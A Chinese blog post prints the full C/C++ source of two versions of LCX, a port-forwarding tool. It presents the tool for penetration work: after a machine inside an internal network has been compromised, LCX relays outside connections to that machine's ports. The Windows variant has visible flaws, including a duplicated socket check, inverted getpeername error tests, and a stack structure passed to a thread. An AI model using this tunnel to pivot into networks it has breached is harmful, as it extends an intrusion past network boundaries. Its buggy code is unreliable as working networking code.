C/C++ 實現正反向端口映射


通常服務器是放在內網中,內部局域網中,並且分配了私有IP地址,而如果想要在外部直接訪問內部服務器則需要端口映射,端口映射也叫做端口轉發,或者叫做虛擬服務器,在滲透時當我們拿到目標機器權限以后,目標機器實在內網環境中,如果想要外部直接訪問內部的特定機器的特定端口,則需要使用映射來實現,常用的映射工具是LCX,或者自己實現。

LCX實現的映射方法
Windows 版LCX源代碼(魔改版)
#include <iostream>
#include <stdlib.h>
#include <errno.h>
#include <winsock2.h> 
#include <io.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;

typedef	struct{
	SOCKET	s1;
	SOCKET	s2;
}Stu_sock;

//函數聲明
void version();
int param(int argc, char **argv);		//對命令行參數
void Funlisten(int port1, int port2);	//監聽功能函數
bool bindAndFunlisten(SOCKET s, int port);//綁定socket的地址結構
void datatrans(LPVOID data);			//數據轉發函數
void slave(char* hostIp, char * slaveIp, int destionPort, int slavePort);//slave函數
bool checkIP(char * str);
int client_connect(int sockfd, char* server, int port);//連接服務端

void main(int argc, char **argv)
{

	version();
	//參數判斷
	WSADATA wsadata;
	WSAStartup(MAKEWORD(1, 1), &wsadata);
	char hostIp[20] = { 0 };
	char slaveIp[20] = { 0 };
	int ret = 1;
	ret = param(argc, argv);
	if (ret == 1)//Funlisten
	{
		Funlisten(atoi(argv[2]), atoi(argv[3]));
	}
	else if (ret == 2)
	{
		strcpy(hostIp, argv[2]);
		strcpy(slaveIp, argv[4]);
		slave(argv[2], argv[4], atoi(argv[3]), atoi(argv[5]));
	}

}

int param(int argc, char **argv)
{
	//stricmp==strcmp ignore case忽略大小寫
	if (argc == 4 && stricmp(argv[1], "-listen") == 0)
	{
		//		cout<<"Funlisten"<<endl;
		return 1;
	}
	if (argc == 6 && stricmp(argv[1], "-slave") == 0 && checkIP(argv[2]) && checkIP(argv[4]))
	{
		return 2;
	}
	else
	{
		version();
		return -1;
	}
}
/************************************************************************/
/*                                                                      */
/*				listen 功能模塊											*/
/************************************************************************/

void Funlisten(int port1, int port2)
{
	Stu_sock	stu_sock;

	//創建套接字
	SOCKET sock1 = socket(AF_INET, SOCK_STREAM, 0);
	SOCKET sock2 = socket(AF_INET, SOCK_STREAM, 0);
	if (sock1<0 || sock1<0)
	{
		cout << "[-] Create socket error" << endl;
		return;
	}

	//綁定端口到socket並監聽
	if (!bindAndFunlisten(sock1, port1) || !bindAndFunlisten(sock2, port2))
	{
		return;
	}
	//都監聽好了接下來……
	int SizeOfAddr = sizeof(sockaddr);
	while (true)
	{
		cout << "[+] Waiting for Client ......" << endl;
		sockaddr_in	remoteSockAddr;
		//sock1等待連接
		SOCKET	recvSock1 = accept(sock1, (sockaddr *)&remoteSockAddr, &SizeOfAddr);
		cout << recvSock1 << endl;
		if (recvSock1<0)
		{
			cout << "[-] Accept error." << endl;
			continue;
		}
		cout << "[+] Accept a Client on port " << port1 << "  from " << inet_ntoa(remoteSockAddr.sin_addr) << endl;
		cout << "[+] Waiting another Client on port:" << port2 << "...." << endl;

		SOCKET	recvSock2 = accept(sock2, (sockaddr *)&remoteSockAddr, &SizeOfAddr);
		cout << recvSock2 << endl;
		if (recvSock2<0)
		{
			cout << "[-] Accept error." << endl;
			continue;
		}
		cout << "[+] Accept a Client on port" << port1 << "  from " << inet_ntoa(remoteSockAddr.sin_addr) << endl;

		//兩個都連上來了
		cout << "[+] Accept Connect OK!" << endl;


		stu_sock.s1 = recvSock1;		stu_sock.s2 = recvSock2;
		DWORD	dwThreadID;

		//創建一個轉發數據的線程
		HANDLE	hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)datatrans, (LPVOID)&stu_sock, 0, &dwThreadID);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;//線程錯了直接退出
		}
		cout << "[+] CreateThread OK!" << endl;
		Sleep(800);//掛起當前線程
	}
}

bool bindAndFunlisten(SOCKET s, int port)
{
	//地址結構
	sockaddr_in	addr;
	memset(&addr, 0, sizeof(addr));
	addr.sin_port = htons(port);
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_ANY);

	char on = 1;
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));

	//綁定地址結構
	if (bind(s, (const sockaddr *)&addr, sizeof(sockaddr))<0)
	{
		cout << "[-] Socket bind error." << endl;
		return false;
	}

	//監聽端口
	if (listen(s, 5)<0)
	{
		cout << "[-] Listen error." << endl;
		return false;
	}
	return true;
}

void datatrans(LPVOID data)
{
	char host_slave[20] = { 0 };
	char host_hacker[20] = { 0 };
	Stu_sock *stuSock = (Stu_sock *)data;
	SOCKET	s1 = stuSock->s1;	//接受的是slave的數據
	SOCKET	s2 = stuSock->s2;	//發送出去的socket
	int	sentacount1 = 0;

	sockaddr_in	addr = { 0 };
	int sizeofaddr = sizeof(sockaddr);

	if (getpeername(s1, (sockaddr *)&addr, &sizeofaddr))
	{

		strcpy(host_slave, inet_ntoa(addr.sin_addr));
		int port_slave = ntohs(addr.sin_port);
	}
	if (getpeername(s2, (sockaddr *)&addr, &sizeofaddr))
	{

		strcpy(host_hacker, inet_ntoa(addr.sin_addr));
		int port_hacker = ntohs(addr.sin_port);
	}
	cout << "[+] Start Transport (" << host_slave << "<-> " << host_hacker << ") ......" << endl;
	char RecvBuffer[20480];
	char SendBuffer[20480];


	fd_set	readfd; fd_set	writefd;
	timeval	timeset;
	timeset.tv_sec = 300;
	timeset.tv_usec = 0;
	int maxfd = max(s1, s2) + 1;
	bool flag = false;
	int readsize;
	while (TRUE)
	{
		readsize = 0;
		FD_ZERO(&readfd);
		FD_ZERO(&writefd);
		FD_SET((UINT)s1, &readfd);
		FD_SET((UINT)s2, &readfd);
		FD_SET((UINT)s1, &writefd);
		FD_SET((UINT)s2, &writefd);

		int result = select(maxfd, &readfd, &writefd, NULL, &timeset);
		if (result<0 && (errno != EINTR))
		{
			cout << "[-] Select error." << endl;
			break;
		}
		else if (result == 0)
		{
			cout << "[-] Socket time out." << endl;
			break;
		}

		//沒出錯,沒超時
		if (FD_ISSET(s1, &readfd) && flag)
		{
			//		if (totalread1<20408)
			{
				readsize = recv(s1, RecvBuffer, 20480, 0);//接受host的請求。。
				if (readsize == -1)
				{
					break;
				}
				if (readsize == SOCKET_ERROR || readsize == 0)
				{
					cout << "!!!" << endl;
				}
				memcpy(SendBuffer, RecvBuffer, readsize);
				memset(RecvBuffer, 0, 20480);
				cout << " [+] Recv " << readsize << " bytes " << "from host." << endl;
			}
		}


		if (FD_ISSET(s1, &writefd) && flag && (readsize>0))
		{

			int sendsize = send(s2, SendBuffer, readsize, 0);//發給slave
			if (sendsize == 0)
			{
				break;
			}
			if (sendsize<0 && (errno != EINTR))
			{
				cout << "[-] Send to s2 unknow error." << endl;
				break;
			}

			memset(SendBuffer, 0, 20480);
			cout << " Send " << sendsize << " bytes " << endl;

		}
		if (FD_ISSET(s2, &readfd) && (!flag))
		{
			{
				readsize = recv(s2, RecvBuffer, 20480, 0);//接受slave返回數據
				memcpy(SendBuffer, RecvBuffer, readsize);
				cout << " [+] Recv " << readsize << " bytes " << "from host." << endl;
				//totalread1+=readsize;
				memset(RecvBuffer, 0, 20480);
			}
		}
		if (FD_ISSET(s1, &writefd) && (!flag) && (readsize>0))
		{
			readsize = send(s1, SendBuffer, readsize, 0);//發給host
			if (readsize == 0)
			{
				break;
			}
			if (readsize<0)
			{
				cout << "[-] Send to s2 unknow error." << endl;
				break;
			}
			cout << " Send " << readsize << " bytes " << endl;
			memset(SendBuffer, 0, 20480);

		}

		flag = !flag;

		Sleep(5);


	}
	closesocket(s1);
	closesocket(s2);
	cout << "[+] OK! I Closed The Two Socket." << endl;
}

/************************************************************************/
/*                                                                      */
/*				slave 功能模塊											*/
/************************************************************************/
void slave(char* hostIp, char * slaveIp, int destionPort, int slavePort)
{

	//checkIP(hostIp);
	Stu_sock	stu_sock;
	fd_set		fd;
	char		buffer[20480];
	int			l;
	while (TRUE)
	{
		//創建套接字
		SOCKET sock1 = socket(AF_INET, SOCK_STREAM, 0);
		SOCKET sock2 = socket(AF_INET, SOCK_STREAM, 0);

		cout << "[+] Make a Connection to " << hostIp << "on port:" << slaveIp << "...." << endl;
		if (sock1<0 || sock1<0)
		{
			cout << "[-] Create socket error" << endl;
			return;
		}
		fflush(stdout);
		if (client_connect(sock1, hostIp, destionPort) == 0)
		{
			closesocket(sock1);
			closesocket(sock2);
			continue;/*跳過這次循環*/
		}

		memset(buffer, 0, 20480);
		while (1)
		{
			//把sock清零,加入set集
			FD_ZERO(&fd);
			FD_SET(sock1, &fd);

			//select事件	讀 寫 異常
			if (select(sock1 + 1, &fd, NULL, NULL, NULL) == SOCKET_ERROR)
			{
				if (errno == WSAEINTR) continue;
				break;
			}
			//FD_ISSET返回值>0 表示SET里的可讀寫
			if (FD_ISSET(sock1, &fd))
			{
				l = recv(sock1, buffer, 20480, 0);
				break;
			}
			Sleep(5);
		}

		if (l <= 0)
		{
			cout << "[-] There is a error...Create a new connection." << endl;
			continue;
		}
		while (1)
		{
			cout << "[+] Connect OK!    \n[+] xlcTeam congratulations!" << endl;
			cout << "[+] Make a Connection to " << hostIp << "on port:" << slaveIp << "...." << endl;
			fflush(stdout);
			if (client_connect(sock2, slaveIp, slavePort) == 0)
			{
				closesocket(sock1);
				closesocket(sock2);
				continue;
			}

			if (send(sock2, buffer, l, 0) == SOCKET_ERROR)
			{
				cout << "[-] Send failed." << endl;
				continue;
			}

			l = 0;
			memset(buffer, 0, 20480);
			break;
		}

		cout << "[+] All Connect OK!" << endl;
		stu_sock.s1 = sock1;
		stu_sock.s2 = sock2;

		HANDLE	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)datatrans, (LPVOID)&stu_sock, 0, NULL);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;
		}
	}
}

//檢查IP地址格式是否正確
bool checkIP(char * str)
{
	if (INADDR_NONE == inet_addr(str))
		return FALSE;
	return true;
}

int client_connect(int sockfd, char* server, int port)
{					/*sock*/		/*遠程IP*/	/*遠程端口*/
	struct sockaddr_in cliaddr;
	struct hostent *host;

	if (!(host = gethostbyname(server)))	//獲得遠程主機的IP
	{
		//   printf("[-] Gethostbyname(%s) error:%s\n",server,strerror(errno));
		return(0);
	}
	//給地址結構賦值
	memset(&cliaddr, 0, sizeof(struct sockaddr));
	cliaddr.sin_family = AF_INET;
	cliaddr.sin_port = htons(port);/*遠程端口*/
	cliaddr.sin_addr = *((struct in_addr *)host->h_addr);//host ip

	//去連接遠程正在listen的主機
	if (connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr))<0)
	{
		//        printf("[-] Connect error.\r\n");
		return(0);
	}
	return(1);
}

void version()
{

	cout << "options:" << endl;
	cout << "-slave  remoteIp remotePort1  localIp  localPort" << endl;
	cout << "-listen  remotePort1 remotePort2" << endl;
	cout << endl;
}
Linux 版LCX源代碼
/*
Lcx: Port Data Transfer
Compile Environment: Windows / Linux / Mac OS / Android, Gcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <stdint.h>

#define BUF_LEN 8192

#ifdef WIN32  //WINDOWS COMPILE

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>

#define SOCKET_INIT {WSADATA wsa;WSAStartup(MAKEWORD(2,2),&wsa);}

#define  ThreadReturn DWORD WINAPI

#define delay(x) Sleep(x)

#else  //LINUX COMPILE

#define PTW32_STATIC_LIB
#include <pthread.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/select.h>

#define SOCKET_INIT

typedef int SOCKET;
#define ThreadReturn void*

#define delay(x) usleep(x*1000)
#define closesocket(x) close(x)

#endif

typedef ThreadReturn (*Func)(void*);

FILE* lcx_log = NULL;
FILE* lcx_hex = NULL;
FILE* lcx_text = NULL;
int total_connect = 0;

int main_func(int argc,char**argv);

void ctrl_c(int32_t i)
{
  fprintf(stdout,"\n[-] Receive: Ctrl+C..I'll quit..\n");
  fprintf(stdout,"\n[+] Let me exit....\n");
  fprintf(stdout,"[+] All Right!\n\n");
  exit(0);
}


int in_createthread(Func run,void* data)
{
#ifdef WIN32
  HANDLE h = CreateThread(NULL,0,run,data,0,NULL);
  CloseHandle(h);
#else
  pthread_attr_t attr;
  pthread_attr_init (&attr);
  pthread_attr_setdetachstate (&attr, PTHREAD_CREATE_DETACHED);
  pthread_t tt;
  pthread_create(&tt,&attr,run,data);
#endif
  delay(5);
  return 0;
}

ThreadReturn  in_data_tran(void* p)
{
  SOCKET t[2];
  t[0]=((int*)p)[0];
  t[1]=((int*)p)[1];

  struct sockaddr_in sa[2];
  const unsigned char* ip[2];
  unsigned short port[2];

  socklen_t len = sizeof(struct sockaddr_in);
  if(getpeername(t[0],(struct sockaddr*)sa,&len)==-1 || getpeername(t[1],(struct sockaddr*)(sa+1),&len)==-1)
  {
    fprintf(stdout,"\n[-] Get Remote Host Failed\n");
    if(lcx_log)fprintf(lcx_log,"\n[-] Get Remote Host Failed\n"),fflush(lcx_log);
    closesocket(t[0]);
    closesocket(t[1]);
    return 0;
  }

  ip[0] = (unsigned char*)&sa[0].sin_addr.s_addr;
  ip[1] = (unsigned char*)&sa[1].sin_addr.s_addr;
  port[0] = htons(sa[0].sin_port);
  port[1] = htons(sa[1].sin_port);

  fd_set fd_list,check_list;
  FD_ZERO(&fd_list);
  FD_SET(t[0],&fd_list);
  FD_SET(t[1],&fd_list);

  unsigned char buf[BUF_LEN];
  int OK = 1;
  int total_byte = 0;
  ++total_connect;
  while( OK && ( (check_list = fd_list),(select(FD_SETSIZE,&check_list,NULL,NULL,NULL)>0)) )
  {
    int i;
    for(i=0;i<2;++i)
    {
      if(FD_ISSET(t[i],&check_list))
      {
        int len = recv(t[i],buf,BUF_LEN,0);
        if(len>0 && send(t[i==0],buf,len,0)>0 )
        {
          total_byte += len;
          char out[100];
          sprintf(out,"\n[+]  Send <Total %d>: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d,  %d Bytes\n",
              total_connect,ip[i][0],ip[i][1],ip[i][2],ip[i][3],port[i],ip[i==0][0],ip[i==0][1],ip[i==0][2],ip[i==0][3],port[i==0],len);
          fprintf(stdout,"%s",out);fflush(stdout);
          if(lcx_log)fprintf(lcx_log,"%s",out),fflush(lcx_log);
          if(lcx_text)
          {
            fprintf(lcx_text,"\n%s\n",out);
            fwrite(buf,1,len,lcx_text);
            fflush(lcx_text);
          }
          if(lcx_hex)
          {
            fprintf(lcx_hex,"\n%s",out);
            int i;
            for(i=0;i<len;++i)
            {
              if(i%16==0)fprintf(lcx_hex,"\n");
              fprintf(lcx_hex,"%02X ",buf[i]);
            }
            fflush(lcx_hex);
          }
        }
        else
        {
          OK = 0;
          fprintf(stdout,"\n[+]  Connection <Total %d> Cutdown, Total : %d Bytes\n\n",total_connect,total_byte);fflush(stdout);
          if(lcx_log)fprintf(lcx_log,"\n[+]  Connection <Total %d> Cutdown, Total : %d Bytes\n\n",total_connect,total_byte),fflush(lcx_log);
          break;
        }
      }
    }
  }
  --total_connect;

  closesocket(t[0]);
  closesocket(t[1]);
#ifdef WIN32
  return 0;
#else
  return NULL;
#endif
}

long gethost(const char* name)
{
  if(name)
  {
    struct hostent *host = gethostbyname(name);
    long i;
    if(host&&host->h_addr)
    {
      i = *(long *)(host->h_addr);
      return i;
    }
  }
  fprintf(stdout,"\nERROR: %s: Wrong host address\n\n",name);
  return -1;
}

int lcx_slave(const char* ip1_str,unsigned short port1,const char* ip2_str,unsigned short port2)
{
  char out1[100],out2[100];
  while(1)
  {
    unsigned long ip1 = gethost(ip1_str);
    if(-1 == ip1)
    {
      fprintf(stdout,"\n[-]  Reslove Host %s Failed...\n",ip1_str),fflush(stdout);
      break;
    }
    unsigned long ip2 = gethost(ip2_str);
    if(-1 == ip2)
    {
      fprintf(stdout,"\n[-]  Reslove Host %s Failed...\n",ip2_str),fflush(stdout);
      break;
    }
    SOCKET s[2];
    s[0] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    s[1] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    struct sockaddr_in sa[2];
    sa[0].sin_family = AF_INET;
    sa[0].sin_port = htons(port1);
    sa[0].sin_addr.s_addr = (ip1);
    sa[1].sin_family = AF_INET;
    sa[1].sin_port = htons(port2);
    sa[1].sin_addr.s_addr = (ip2);
    unsigned char*ip[2];
    ip[0] = (unsigned char*)&ip1;
    ip[1] = (unsigned char*)&ip2;
    sprintf(out1,"%d.%d.%d.%d:%d",ip[0][0],ip[0][1],ip[0][2],ip[0][3],port1);
    sprintf(out2,"%d.%d.%d.%d:%d",ip[1][0],ip[1][1],ip[1][2],ip[1][3],port2);

    if(s[0]!=-1 && s[1]!=-1)
    {
      fprintf(stdout,"\n[+]  Connect %s, Please Wait\n",out1);fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s, Please Wait\n",out1),fflush(lcx_log);
      if(connect(s[0],(struct sockaddr*)&sa[0],sizeof(struct sockaddr))!=0)
      {
        fprintf(stdout,"\n[-]  Connect %s Failed,CutDown...\n",out2);
        if(lcx_log)fprintf(lcx_log,"\n[-]  Connect %s Failed,CutDown...\n",out2),fflush(lcx_log);
        closesocket(s[0]);
        closesocket(s[1]);
      }
      else
      {
        fprintf(stdout,"\n[+]  Connect %s Successed,Now Connect %s\n",out1,out2);fflush(stdout);
        if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s Successed,Now Connect %s\n",out1,out2),fflush(lcx_log);
        if(connect(s[1],(struct sockaddr*)&sa[1],sizeof(struct sockaddr))==0)
        {
          fprintf(stdout,"\n[+]  Connect %s Successed,Transfering...\n",out2);fflush(stdout);
          if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s Successed,Transfering...\n",out2),fflush(lcx_log);
          in_data_tran(s);
        }
        else
        {
          fprintf(stdout,"\n[-]  Connect %s Failed,CutDown...\n",out2);
          if(lcx_log)fprintf(lcx_log,"\n[-]  Connect %s Failed,CutDown...\n",out2),fflush(lcx_log);
          closesocket(s[0]);
          closesocket(s[1]);
        }
      }
    }
    else
    {
      fprintf(stdout,"\n[-]  Create Socket Failed\n");
      if(lcx_log)fprintf(lcx_log,"\n[-]  Create Socket Failed\n"),fflush(lcx_log);
      return -1;
    }
    delay(1000);
  }
  return 0;
}

int lcx_listen(unsigned short port1,unsigned short port2)
{
  SOCKET s[2]={-1,-1};
  unsigned short p[2];
  p[0]=port1;
  p[1]=port2;

  struct sockaddr_in sa;
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = INADDR_ANY;
  int i;
  int OK = 0;
  for(i=0; i<2; ++i)
  {
    s[i] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(s[i]!=-1)
    {
      fprintf(stdout,"\n[+]  Create Socket %d Successed\n",i+1);fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[+]  Create Socket %d Successed\n",i+1),fflush(lcx_log);
      sa.sin_port = htons(p[i]);

      int flag = 1;
      setsockopt(s[i], SOL_SOCKET, SO_REUSEADDR, (const void*)&flag, sizeof(flag));
      if(bind(s[i],(struct sockaddr*)&sa,sizeof(sa))==0)
      {
        fprintf(stdout,"\n[+]  Bind On Port %u Success\n",p[i]);fflush(stdout);
        if(lcx_log)fprintf(lcx_log,"\n[+]  Bind On Port %u Success\n",p[i]),fflush(lcx_log);
        if(listen(s[i],SOMAXCONN)==0)
        {
          fprintf(stdout,"\n[+]  Listen On Port %u Successed\n",p[i]);fflush(stdout);
          if(lcx_log)fprintf(lcx_log,"\n[+]  Listen On Port %u Successed\n",p[i]),fflush(lcx_log);
          OK =  1;
        }
        else
        {
          fprintf(stdout,"\n[-]  Listen On Port %u Failed\n",p[i]);
          if(lcx_log)fprintf(lcx_log,"\n[-]  Listen On Port %u Failed\n",p[i]),fflush(lcx_log);
          break;
        }
      }
      else
      {
        fprintf(stdout,"\n[-]  Bind On Port %u Failed\n",p[i]);
        if(lcx_log)fprintf(lcx_log,"\n[-]  Bind On Port %u Failed\n",p[i]),fflush(lcx_log);
        break;
      }
    }
    else
    {
      fprintf(stdout,"\n[-]  Create Socket %d Failed\n",i+1);
      if(lcx_log)fprintf(lcx_log,"\n[-]  Create Socket %d Failed\n",i+1),fflush(lcx_log);
      break;
    }
  }
  if(!OK)
  {
    closesocket(s[0]);
    closesocket(s[1]);
    return -1;
  }

  i = 0;
  SOCKET t[2];
  socklen_t sz = sizeof(sa);
  while(1)
  {
    fprintf(stdout,"\n[+]  Waiting Connect On Port %u\n",p[i]);fflush(stdout);
    if(lcx_log)fprintf(lcx_log,"\n[+]  Waiting Connect On Port %u\n",p[i]),fflush(lcx_log);
    t[i] = accept(s[i],(struct sockaddr*)&sa,&sz);
    const unsigned char *ip = (unsigned char*)&sa.sin_addr.s_addr;
    if(t[i]!=-1)
    {
      fprintf(stdout,"\n[+]  Connect From %d.%d.%d.%d:%d On Port %d\n",ip[0],ip[1],ip[2],ip[3],htons(sa.sin_port),p[i]);fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[+]  Connect From %d.%d.%d.%d:%d On Port %d\n",ip[0],ip[1],ip[2],ip[3],htons(sa.sin_port),p[i]),fflush(lcx_log);
      if(i==1)
      {
        in_createthread(in_data_tran,t);
      }
      i = (i==0);
    }
    else
    {
      fprintf(stdout,"\n[-]  Accept Failed On Port %d\n",p[i]);
      if(lcx_log)fprintf(lcx_log,"\n[-]  Accept Failed On Port %d\n",p[i]),fflush(lcx_log);
      i=0;
    }
  }
  return 0;
}

int lcx_tran(unsigned short port1,const char* ip2_str,unsigned short port2)
{
  SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  struct sockaddr_in sa;
  sa.sin_family = AF_INET;
  sa.sin_port = htons(port1);
  sa.sin_addr.s_addr = INADDR_ANY;
  socklen_t ok =0;
  if(s!=-1)
  {
    int flag = 1;
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const void*)&flag, sizeof(flag));
    if(bind(s,(struct sockaddr*)&sa,sizeof(sa))==0)
    {
      if(listen(s,SOMAXCONN)==0)
      {
        ok = 1;
        fprintf(stdout,"\n[+]  Listening On Port %d...\n",port1);fflush(stdout);
        if(lcx_log)fprintf(lcx_log,"\n[+]  Listening On Port %d...\n",port1),fflush(lcx_log);
      }
      else
      {
        fprintf(stdout,"\n[-]  Listen Failed\n");
        if(lcx_log)fprintf(lcx_log,"\n[-]  Listen Failed\n"),fflush(lcx_log);
      }
    }
    else
    {
      fprintf(stdout,"\n[-]  Bind On Port %d Failed\n",port1);
      if(lcx_log)fprintf(lcx_log,"\n[-]  Bind On Port %d Failed\n",port1),fflush(lcx_log);
    }
  }
  else
  {
    fprintf(stdout,"\n[-]  Create Socket Failed\n");
    if(lcx_log)fprintf(lcx_log,"\n[-]  Create Socket Failed\n"),fflush(lcx_log);
  }
  if(!ok)
  {
    closesocket(s);
    return -1;
  }
  SOCKET tt[2];
  SOCKET ac=-1;
  ok = sizeof(sa);
  char out1[100],out2[100];
  while(1)
  {
    unsigned long ip2 = gethost(ip2_str);
    if(-1 == ip2)
    {
      fprintf(stdout,"\n[-]  Reslove Host %s Failed...\n",ip2_str),fflush(stdout);
      break;
    }
    fprintf(stdout,"\n[+]  Waiting Connect On Port %d...\n",port1);fflush(stdout);
    if(lcx_log)fprintf(lcx_log,"\n[+]  Waiting Connect On Port %d...\n",port1),fflush(lcx_log);
    if(ac=accept(s,(struct sockaddr*)&sa,&ok),ac==-1)
    {
      break;
    }
    unsigned char* ip =(unsigned char*)&sa.sin_addr.s_addr;
    sprintf(out1,"%d.%d.%d.%d:%d",ip[0],ip[1],ip[2],ip[3],htons(sa.sin_port));
    ip = (unsigned char*)&ip2;
    sprintf(out2,"%d.%d.%d.%d:%d",ip[0],ip[1],ip[2],ip[3],(port2));
    fprintf(stdout,"\n[+]  Connect From %s, Now Connect to %s\n",out1,out2);fflush(stdout);
    if(lcx_log)fprintf(lcx_log,"\n[+]  Connect From %s, Now Connect to %s\n",out1,out2),fflush(lcx_log);
    sa.sin_port = htons(port2);
    sa.sin_addr.s_addr = ip2;
    SOCKET s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(connect(s2,(struct sockaddr*)&sa,sizeof(sa))==0)
    {
      tt[0]=ac;
      tt[1]=s2;
      fprintf(stdout,"\n[+]  Connect %s Successed,Start Transfer...\n",out2);fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[+]  Connect %s Successed,Start Transfer...\n",out2),fflush(lcx_log);
      in_createthread(in_data_tran,tt);
    }
    else
    {
      fprintf(stdout,"\n[-]  Connect %s Failed...\n",out2),fflush(stdout);
      if(lcx_log)fprintf(lcx_log,"\n[-]  Connect %s Failed...\n",out2),fflush(lcx_log);
      closesocket(s2);
      closesocket(ac);
    }
  }
  closesocket(s);
  closesocket(ac);
  return 0;
}

void help(const char* name)
{
  fprintf(stdout,"\nUsage of Packet Transmit:\n");
  fprintf(stdout,"  %s -<listen|tran|slave> <option> [<-log|-hex|-text> file] \n",name);
  fprintf(stdout,"  %s -about\n\n",name);
  fprintf(stdout,"[options:]\n");
  fprintf(stdout,"  -listen <local port1>  <local port2>\n");
  fprintf(stdout,"  -tran   <local port>   <remote host>  <remote port>\n");
  fprintf(stdout,"  -slave  <remote host1> <remote port1> <remote host2> <remote port2>\n\n");
  fprintf(stdout,"  -hex   : hex mode data dump\n");
  fprintf(stdout,"  -text  : text mode data dump\n");
  fprintf(stdout,"  -log   : save transfer log\n\n");
}

void about()
{
#ifdef ANONYMOUS
  fprintf(stdout,"\nBy:     Anonymous\n");
#else
  fprintf(stdout,"\nBy:     XiaoBaWang\n");
  fprintf(stdout,"Email:  windworst@gmail.com\n\n");
#endif
}

long getport(const char *str)
{
  long port = EOF;
  port = atoi(str);
  if (port<=0||port>65535)
  {
    fprintf(stdout,"\nERROR: %s: Wrong port number\n\n",str);
  }
  return port;
}

void setfile(FILE** fp,const char*file)
{
  *fp = fopen(file,"w");
  if (*fp==NULL)
  {
    fprintf(stdout,"\nERROR: Can not Write to File: %s\n\n",file);
  }
}

int main_func(int argc,char**argv)
{
  if (argc<2)
  {
    help(argv[0]);
    return 0;
  }
  const char* command[] = {"-about","-listen","-slave","-tran"};
  int32_t i,s = sizeof(command)/sizeof(*command);
  for (i=0; i<s; i++)
  {
    if (strcmp(command[i],argv[1])==0)
      break;
  }
  int32_t n = 2;
  const char * addr1=NULL, *addr2=NULL;
  int32_t port1=0,port2=0;
  switch (i)
  {
    case 0:
      about();
      break;
    case 1:
      if (argc<4)
      {
        help(argv[0]);
        return 0;
      }
      else
      {
        port1 = getport(argv[n]);
        port2 = getport(argv[++n]);
      }
      break;
    case 2:
      if (argc<6)
      {
        help(argv[0]);
        return 0;
      }
      else
      {
        addr1 = argv[n];
        port1 = getport(argv[++n]);
        addr2 = argv[++n];
        port2 = getport(argv[++n]);
      }
      break;
    case 3:
      if (argc<5)
      {
        help(argv[0]);
        return 0;
      }
      else
      {
        port1 = getport(argv[n]);
        addr2 = argv[++n];
        port2 = getport(argv[++n]);
      }
      break;
    default:
      {
        help(argv[0]);
        return 0;
      }
      break;
  }
  if(port1==-1 || port2==-1 )return 0;
  const char* logpath=NULL,*hexpath=NULL,*textpath=NULL;
  while (++n<argc)
  {
    if (strcmp(argv[n],"-hex")==0)
    {
      if (argc-1<++n)
      {
        fprintf(stdout,"\n[-] ERROR: -hex Must supply file name.\n\n");
        return 0;
      }
      hexpath = argv[n];
    }
    else if (strcmp(argv[n],"-text")==0)
    {
      if (argc-1<++n)
      {
        fprintf(stdout,"\n[-] ERROR: -text Must supply file name.\n\n");
        return 0;
      }
      textpath = argv[n];
    }
    else if (strcmp(argv[n],"-log")==0)
    {
      if (argc-1<++n)
      {
        fprintf(stdout,"\n[-] ERROR: -log Must supply file name.\n\n");
        return 0;
      }
      logpath = argv[n];
    }
    else
    {
      fprintf(stdout,"\n[-] ERROR:  %s  Undefined.\n\n",argv[n]);
      return 0;
    }
  }

  if (logpath)
  {
    setfile(&lcx_log,logpath);
    if(lcx_log==NULL)return 0;
  }
  if (hexpath)
  {
    setfile(&lcx_hex,hexpath);
    if(lcx_hex==NULL)return 0;
  }
  if (textpath)
  {
    setfile(&lcx_text,textpath);
    if(lcx_text==NULL)return 0;
  }

  switch(i)
  {
    case 1:lcx_listen(port1,port2);break;
    case 2:lcx_slave(addr1,port1,addr2,port2);break;
    case 3:lcx_tran(port1,addr2,(uint16_t)port2);break;
    default:break;
  }
  return 0;
}

#define ARGC_MAXCOUNT 10

int main(int argc,char** argv)
{
  signal(SIGINT,ctrl_c);

  SOCKET_INIT

    int ret = main_func(argc,argv);
#ifdef COMMAND_MODE
  while(1)
  {
    char input_buf[BUF_LEN]={0};
    char *argv_list[ARGC_MAXCOUNT]={"lcx"};
    printf(">");
    int argc_count = 1;
    int flag = 0;
    int i;
    for(i=0;i<BUF_LEN;++i)
    {
      input_buf[i] = getchar();
      if(input_buf[i] == '\n' || input_buf[i] == -1 )
      {
        input_buf[i] = '\0';
      }
      if(input_buf[i]=='\0' || argc_count>=ARGC_MAXCOUNT-2)
      {
        break;
      }
      if(flag ==0 && input_buf[i]!=' ' && input_buf[i]!='\0' )
      {
        flag = 1;
        argv_list[argc_count] = input_buf+i;
        ++argc_count;
      }
      else if(flag ==1 && (input_buf[i]==' ' || input_buf[i]=='\0') )
      {
        flag = 0;
        input_buf[i] = '\0';
      }
    }
    argv_list[argc_count] = NULL;
    ret = main_func(argc_count,argv_list);
  }
#endif
  return ret;
}
